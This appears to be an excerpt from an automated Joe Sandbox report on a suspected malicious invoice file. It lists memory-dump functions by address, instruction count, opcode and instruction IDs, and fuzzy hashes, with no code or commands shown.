Function 000D41A0 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f0084054b4c854e06c317af6b700dcbc4aed62c95443fce0d9f5bfacc407768
Instruction ID: 66ae3cb572e194850252aed647cba3201e59a330b5875f851348a0c47868dab6
Opcode Fuzzy Hash: 5f0084054b4c854e06c317af6b700dcbc4aed62c95443fce0d9f5bfacc407768
Instruction Fuzzy Hash: CC5181B4E01318CFCB09DFA9D58499DBBB2BF89310B208069E805BB365DB35A946CF50

Function 000DA303 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ae1944312b0f5661ea91bc90e84ba6daa989aee7ec33adae9ce2711526f3c2c
Instruction ID: c1a53d271815135ed1b06d62758c9d081b17908555c9832d9fef551d1055504f
Opcode Fuzzy Hash: 3ae1944312b0f5661ea91bc90e84ba6daa989aee7ec33adae9ce2711526f3c2c
Instruction Fuzzy Hash: 7B418131B04349DFCF15CFA4C844A9DBFB2AF86310F148156E9159B3A1D370DA54CB62

Function 3A68FB37 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300940371.000000003A680000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a680000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1af7ae1b79b17cf0533a29275d00a986e61d82b6a7d46ebb3ed613b84cdc265
Instruction ID: 5fe3a738a187c6d3a2e9ff31024adb2646ee928ca65a3c8cc56d34d8baf8ac97
Opcode Fuzzy Hash: e1af7ae1b79b17cf0533a29275d00a986e61d82b6a7d46ebb3ed613b84cdc265
Instruction Fuzzy Hash: 0B41C0B4E002489FDB04CFE5D6447EEBBF5AB49300F10812AE805B72A4D7746A46CF50

Function 3A68FB48 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300940371.000000003A680000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a680000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fd7b977f7b3e6261d81bb7b61620c3e9203ffc74347fafaa015404fbc4dba9f
Instruction ID: 093ba4c96ba01af667ec2b4efd15d85b83fb879884e06634ad925bd4d0537b19
Opcode Fuzzy Hash: 8fd7b977f7b3e6261d81bb7b61620c3e9203ffc74347fafaa015404fbc4dba9f
Instruction Fuzzy Hash: FC41A0B4D01248DFDB44CFE5D6946DEBBF6BB48300F10812AE815B72A4EB346A46CF50

Function 000D9C30 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 921333ac5727e0172a0f1fe106874a9259d65e2c4488a74d6401aa1360531761
Instruction ID: 0645d5c168dd3516a5d750303e289b9d2d6d1d38912fbe1a18c70003ff149068
Opcode Fuzzy Hash: 921333ac5727e0172a0f1fe106874a9259d65e2c4488a74d6401aa1360531761
Instruction Fuzzy Hash: 95416B307043458FDB41DF68C884B6ABBE6AF89314F548466E908CB366E771DD41CBA2

Function 000D5658 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 759a5b10f2be205b1121f415617375194ccacff94f6a81a3c4a8707a4ffeaa4a
Instruction ID: e96449b308dc6710f20c96cc48d7c16ba0a2e9f236ccc2e9a6974a084c067a17
Opcode Fuzzy Hash: 759a5b10f2be205b1121f415617375194ccacff94f6a81a3c4a8707a4ffeaa4a
Instruction Fuzzy Hash: FF318D312042099FCF059FA4ED94AAF7BA2EB88301F504026FD159B355CB35DE61DFA0

Function 3A6873D0 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300940371.000000003A680000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a680000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eafe451100aca065fb804813a7ed7386019a84f9d50d820b3f2c46974b2ced0f
Instruction ID: 2b05f410d2464e2bbaf9b404564f6a5c57db80b4bb79c0f3e3c27a4be949ef49
Opcode Fuzzy Hash: eafe451100aca065fb804813a7ed7386019a84f9d50d820b3f2c46974b2ced0f
Instruction Fuzzy Hash: 663127B4E012589FDB09CFAAC9506DDBBF6AF8A300F24D42AD404BB264DB355A42CF51

Function 3A68D401 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300940371.000000003A680000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a680000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8d4144269c6704935a08f835738ff848fb05f3ae4d50f91f4d958167f080608
Instruction ID: b1843fd3c39f7bf1c638b7af672ba45c5d75a280edeca76df7223f2aeb9dac7a
Opcode Fuzzy Hash: f8d4144269c6704935a08f835738ff848fb05f3ae4d50f91f4d958167f080608
Instruction Fuzzy Hash: 823117B5E01248DBDB15CFAAC9406DDBBF6AFC9300F24D12AD408BB255EB345A42CF60

Function 3A6870AF Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300940371.000000003A680000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a680000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d26ce6ff2f7573ac51e55b74738cd64900bdb4a383dad9f212df06d7ec5250cd
Instruction ID: ad150bfee2edc8d19d6950b048642c12646b3ebb9f6e1d2cc4459b663316c29d
Opcode Fuzzy Hash: d26ce6ff2f7573ac51e55b74738cd64900bdb4a383dad9f212df06d7ec5250cd
Instruction Fuzzy Hash: D03105B4E012588BDB08CFEAD9406DDBBF6BF8A300F54D02AD418BB255EB345946CF55

Function 3A68E588 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300940371.000000003A680000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a680000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a89233f20f5e89de6258d73746fd85a13522d37ebc02f5a1482f0a461b6cfd1b
Instruction ID: 42bd063da172d4cf0b9fd92c83e7859f4043f488360e405deff7e13f76fc8c50
Opcode Fuzzy Hash: a89233f20f5e89de6258d73746fd85a13522d37ebc02f5a1482f0a461b6cfd1b
Instruction Fuzzy Hash: DA3145F4B082578FD746DBB4899446EBB7EBF412003464196D4249B6A3DB30EE81C793

Function 3A698461 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300969880.000000003A690000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a690000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c1e85f7eccd564e0b4a4226f7b247d88b63a632150544a5dacc5185de08a66f
Instruction ID: 3e416bbdfe18ba5d175dd5d697bb93e947752008a3526d0f442579cce901b1e7
Opcode Fuzzy Hash: 4c1e85f7eccd564e0b4a4226f7b247d88b63a632150544a5dacc5185de08a66f
Instruction Fuzzy Hash: 1B311274E012488BDB09DFEAC9506DDBBF2BF89300F14D02AC419BB264EB345906CF50

Function 3A6921A7 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300969880.000000003A690000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a690000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc57b8bd09ba4d4d833a54684834575d54cf322ef4675b113bfee6b708baaf72
Instruction ID: bbc0516b8bfdd50b92a65638414b126e273ea01c1f842cc36b172e9ef15b1107
Opcode Fuzzy Hash: cc57b8bd09ba4d4d833a54684834575d54cf322ef4675b113bfee6b708baaf72
Instruction Fuzzy Hash: 0A31E274E012488BDB48CFBAC5506DEBBF2AF89300F64D02AD419BB265DB349942CF50

Function 39DBFC5A Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300548348.0000000039DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39db0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc29e5fc86f4d06e343367454b05c2cfd1a3dd86f93671e6ac419fb71947507b
Instruction ID: d72ad0aaced1b68197026246343565352ae9a5f01d3a66b0647b65a263604979
Opcode Fuzzy Hash: cc29e5fc86f4d06e343367454b05c2cfd1a3dd86f93671e6ac419fb71947507b
Instruction Fuzzy Hash: 8331E074E012488BDF08DFEAD9406DDBBF2AF8A300F50D12AD419BB268EB345946CF50

Function 000D8380 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd9b7f1c26f80ca0321cd940881433eac31f2187e860d36a56cef6ee36226d8e
Instruction ID: 2feef04a59a1bc3f24ad015d781661e9941d1bc66bc67e72d9528abcb9d353a5
Opcode Fuzzy Hash: bd9b7f1c26f80ca0321cd940881433eac31f2187e860d36a56cef6ee36226d8e
Instruction Fuzzy Hash: E921B0303043024BDB645729C95477E668BAFD4748F14C03AD502CB7A8EEB9CC42D3B1

Function 3A6981EA Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300969880.000000003A690000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a690000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 741c421e3f3b5802933000e6a162e4eb5237fe06b55dc4860acae257539294ed
Instruction ID: 549d8b9ca82f991c87aab002f52afcbcdfd3dc30a258bb584f42c3e7b57dec76
Opcode Fuzzy Hash: 741c421e3f3b5802933000e6a162e4eb5237fe06b55dc4860acae257539294ed
Instruction Fuzzy Hash: F931B274E01608CBDB08CFAAD5506DEBBF2AF89300F64D12AD419BB264EB345942CF54

Function 000D28F0 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c995f71a1d962307fe838beb3fbf62bd57a700cb18eaf04a3db4be9810091e9
Instruction ID: 95281b2b2134546ae628f4da8fb1aeb2e832c51fe89b0741e94defaf8fc56c66
Opcode Fuzzy Hash: 2c995f71a1d962307fe838beb3fbf62bd57a700cb18eaf04a3db4be9810091e9
Instruction Fuzzy Hash: 16219235A00219AFCB55DF74C5509AEB7B5EBAD360F10C05AD8199B394DB30EE42CBE0

Function 0009D554 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3271857605.000000000009D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0009D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf981ccc04217773541f986168cd113376862f70596c4352cbcadde42d321745
Instruction ID: d50ec2de44f75a1c17a763a24003dfe7ffa6a1410f585ab5f94765a3712ccf0c
Opcode Fuzzy Hash: cf981ccc04217773541f986168cd113376862f70596c4352cbcadde42d321745
Instruction Fuzzy Hash: 7A213771584240EFCF15DF14D9C0F2ABFA5FB98314F24C56AE9090B256C33AD856EBA2

Function 000D6300 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48c017125496dbf9dbddcc370d67ce224bff8b3cd69e4a81281cf6c800003317
Instruction ID: 6c1a5d9188872cb6361628bc8ac811870911d48fcbecf638c899e2f2d8f3fed4
Opcode Fuzzy Hash: 48c017125496dbf9dbddcc370d67ce224bff8b3cd69e4a81281cf6c800003317
Instruction Fuzzy Hash: 6E2102313007118FC7299B29C85492EB3A2FFC9750715407AE806DB7A8CF32DD028BA0

Function 000AD044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3271888315.00000000000AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 000AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ad000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63e64a7c800ec2977705560017e8bf2974c36f730b69248160b3d678124f2089
Instruction ID: dac4f63936c0ada191361dcb79040f93804f1da4d5a7765c6c0980b9b350a722
Opcode Fuzzy Hash: 63e64a7c800ec2977705560017e8bf2974c36f730b69248160b3d678124f2089
Instruction Fuzzy Hash: 97213A71504204EFCB14CF64C9C4F16BBA5FB85314F20C56EE94A4B751C73AD846CA61

Function 000DAEF0 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f71f2b8dd73662baf2b5fae00f84dc14847acf4819ac9ead5286f23f6ef065b9
Instruction ID: 4a5ce32cb037b8b145a7bd5eb548fd0004c3ad8fefcd95f9affbed3db2171ee8
Opcode Fuzzy Hash: f71f2b8dd73662baf2b5fae00f84dc14847acf4819ac9ead5286f23f6ef065b9
Instruction Fuzzy Hash: 02219071B002049FCB148FA4DC84BEEBBF6AB8C710F14416AE915A73A0DB719D55CBA0

Function 000D4285 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1219a590538ee7b459fab10dead7750acedb8782de88db81ca9b58bbe2cfe5c
Instruction ID: 7c0845c3e79d718c764677a7b50bc1446b42a7086ea7cfe59cd084e1966ab3d5
Opcode Fuzzy Hash: e1219a590538ee7b459fab10dead7750acedb8782de88db81ca9b58bbe2cfe5c
Instruction Fuzzy Hash: 9F318078E11318CFCB49DFA8D69489DBBB2FF49310B2040AAE819AB364D731AD45CF50

Function 3A68EBE2 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300940371.000000003A680000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a680000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8efb77a86fa5ead4b6a9cc0e1d14d139bb30030c49efedd717052f830ec9c8d9
Instruction ID: 4d60260e7127cefac575129c534ea6a2ceb65ff321239629d5aa7df9386b0396
Opcode Fuzzy Hash: 8efb77a86fa5ead4b6a9cc0e1d14d139bb30030c49efedd717052f830ec9c8d9
Instruction Fuzzy Hash: 461134B5E402A19FCB91DFBC988858D7FF9BF4925071504AAD886DB311DB31C982CB92

Function 39DB992C Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300548348.0000000039DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39db0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f56f8b0e87d3fc95cc5a485fb517676f97d29fff114f46778b8696f37c0e6458
Instruction ID: 5c90631890b82d51faa3b37cb732bfe262db8301491a1fb6a8b7a20fa8f35a19
Opcode Fuzzy Hash: f56f8b0e87d3fc95cc5a485fb517676f97d29fff114f46778b8696f37c0e6458
Instruction Fuzzy Hash: 33113D78E012498FDB04DFA8D485ADDBBF5FF88319F548155E806AB646DB30ED41CB60

Function 000DF640 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 931c2166675db1a8a6e9227c4cf0a13a399cd7e3906b1e62ea725cacf50fb6b5
Instruction ID: 09e7205f6d247271c91929cfae7b3d2fbd4f5a0ff1e4e4dbe5050d760cb61346
Opcode Fuzzy Hash: 931c2166675db1a8a6e9227c4cf0a13a399cd7e3906b1e62ea725cacf50fb6b5
Instruction Fuzzy Hash: 7D2130B09042099FDB45DFA9D54069EBFF6FF81304F10C5AAD0549B266E7749A05DB80

Function 000D27F0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d35cc52507b1c85edd556da09448dcd06fe75f54fd8f407511b0e8f7f9167af2
Instruction ID: 889bba2b203249156659b0919a48057eaf12c88d4c722389738b70267df3000d
Opcode Fuzzy Hash: d35cc52507b1c85edd556da09448dcd06fe75f54fd8f407511b0e8f7f9167af2
Instruction Fuzzy Hash: 4121BD74D0520A8FCB41EFA9D9445EEBFF4BF4A300F1452AAD805B7220EB355A85CBA1

Function 39DB4C00 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300548348.0000000039DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39db0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d9648770327ad805253a40de770bc915d6e1afbc7913ded27c2b86ab0bf3f45
Instruction ID: 021cc4d0aa703220c7cdf32c7651b8990bd042d6577977061d71f09f159d98a3
Opcode Fuzzy Hash: 3d9648770327ad805253a40de770bc915d6e1afbc7913ded27c2b86ab0bf3f45
Instruction Fuzzy Hash: 74117C35E013199FCF50EFB8C4516AEBBF6AF88650B544539D806AB601DB31EC42CBE1

Function 0009D54F Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3271857605.000000000009D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0009D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca7fbb38fa23b1921795a574b46cf8824ba32d0c0e6688547b0ab6ace591c1fb
Instruction ID: 0bf1a65040b4c408866c167366a143723181b29aff7503bc819529cd24ded28c
Opcode Fuzzy Hash: ca7fbb38fa23b1921795a574b46cf8824ba32d0c0e6688547b0ab6ace591c1fb
Instruction Fuzzy Hash: DE112676544280CFCF02CF14D5C4B16BFB1FB98314F24C5AAD9490B616C336D85ADBA2

Function 000DF650 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8622858d4754e0514388fba98f41263ce6b12c062bfd9e6b0f94952c5a88b22d
Instruction ID: 1a4bfc22c9f4affbb42304c7e2bba375ea9519cdc8a629aef315316ef97b420c
Opcode Fuzzy Hash: 8622858d4754e0514388fba98f41263ce6b12c062bfd9e6b0f94952c5a88b22d
Instruction Fuzzy Hash: 01112CB0D0020D9FDB45EFA9D640A9EBFF5FB84304F50C5A9D118AB265EB749A05CF80

Function 000AD03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3271888315.00000000000AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 000AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ad000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03eaf8a4334ce06a06af18b89caff828b05e34beddbd90a58a88570bb971307e
Instruction ID: e775f831a3e969edde72d8c286b228eb83e4ee07c68033b536d292936b2b893b
Opcode Fuzzy Hash: 03eaf8a4334ce06a06af18b89caff828b05e34beddbd90a58a88570bb971307e
Instruction Fuzzy Hash: E211D075504244DFCB11CF50C5C4B15BFA1FB49314F24CAAED94A4B652C33AD84ACF62

Function 000D5E98 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 198eed1d71ed0c4943ffb79621a8801d4d42068292847c575e025cd499b4a4ee
Instruction ID: 2af2fb37a2c6a34204dc511e61e95f04fcabf5b83fa8d0b9c4e1eb86aea53032
Opcode Fuzzy Hash: 198eed1d71ed0c4943ffb79621a8801d4d42068292847c575e025cd499b4a4ee
Instruction Fuzzy Hash: 1D01F5316082446FCB069B549C506EE3FA7EFC9750F18406AF904DB391CB368F219BA0

Function 39DB44CF Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300548348.0000000039DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39db0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a77fd5a85f695eeaafa54b1382420eb8c7f949555b3f9ade6827e5aa4c6d77bb
Instruction ID: 389db8ddef0f90f417019fbc3b269a03d88089d065baccf7c79fed340c833f11
Opcode Fuzzy Hash: a77fd5a85f695eeaafa54b1382420eb8c7f949555b3f9ade6827e5aa4c6d77bb
Instruction Fuzzy Hash: E9019235A00208DF8F60DFADD4419DEFBF5EF88350B00453BE50593611D7709A56CB91

Function 39DB49E0 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300548348.0000000039DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39db0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35bf11ae240f995ad24ee1d4bd50af49f2fe2374e1163536143f67c9021fc573
Instruction ID: 810cb1fb7e30d79e34d306b5e08145a69a4ed440b131f0239856b565b31b6909
Opcode Fuzzy Hash: 35bf11ae240f995ad24ee1d4bd50af49f2fe2374e1163536143f67c9021fc573
Instruction Fuzzy Hash: 9D01F735609380DFCB165BB498185AD3FE6DBCA32171540BBE506CB792CA398C83CB62

Function 39DB3258 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300548348.0000000039DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39db0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64f41d368652a71c3f63cac6723026af25b405f97ab4e4a664159f303a861ab5
Instruction ID: 19eddc4c4ebba6dae3ec123e1f24f8b313b68ff1a4ee1bf16e00fcd93aef22ce
Opcode Fuzzy Hash: 64f41d368652a71c3f63cac6723026af25b405f97ab4e4a664159f303a861ab5
Instruction Fuzzy Hash: B8019A35A01259EFCF04AFA8D8089AE7FB5FF89350F104039E91AA7680DB309911DBA0

Function 39DB4640 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300548348.0000000039DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39db0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51a5f8dcd644907e47922938986997a54bbd569e734969dfda1525d8d7dcf587
Instruction ID: feba2d579b11a2014363f9528e402f2c7f3193dc5ff42ca8a52f5e2c3491b351
Opcode Fuzzy Hash: 51a5f8dcd644907e47922938986997a54bbd569e734969dfda1525d8d7dcf587
Instruction Fuzzy Hash: DA015A353016008FDB04DF29D58AE96B7E6EF887A1F118479E10A8FB61CA70EC04CB50

Function 39DB3248 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300548348.0000000039DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39db0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdf72a48754a43308b0e6f1c77f17da895478f370fb724b28dba59f3f20c3912
Instruction ID: 9cfab7738646dc5d68a95c708cf885f4cc7aa039bf15f15b7eb17cf5d549ddb5
Opcode Fuzzy Hash: cdf72a48754a43308b0e6f1c77f17da895478f370fb724b28dba59f3f20c3912
Instruction Fuzzy Hash: F2019A75A01258EFCB109FA8C8449AEBBB0FF8D350B104039E81AA3650D73099A2DFA0

Function 000DE8E8 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 782b3bc0ee1a3bc091b3a55b31648184a8d14f8412027537984a25f4a5b4f48b
Instruction ID: 423d1c66b42ac7f38404dedc1ca5aadc4dedc1e9cf3187f0644ec95a19310311
Opcode Fuzzy Hash: 782b3bc0ee1a3bc091b3a55b31648184a8d14f8412027537984a25f4a5b4f48b
Instruction Fuzzy Hash: F51123B4D0424AAFCB41CFA4D9509AEFFB1FB8A300F5044A6D910A3361E7345A16CB91

Function 000DABE0 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82194ab4359db159d880bfc9a8e563b2981a00e236f3288cedde674e4f0eb244
Instruction ID: d5e5d8f19a34a009ec7a545940974112f60dc69380846681ba5436310dc12336
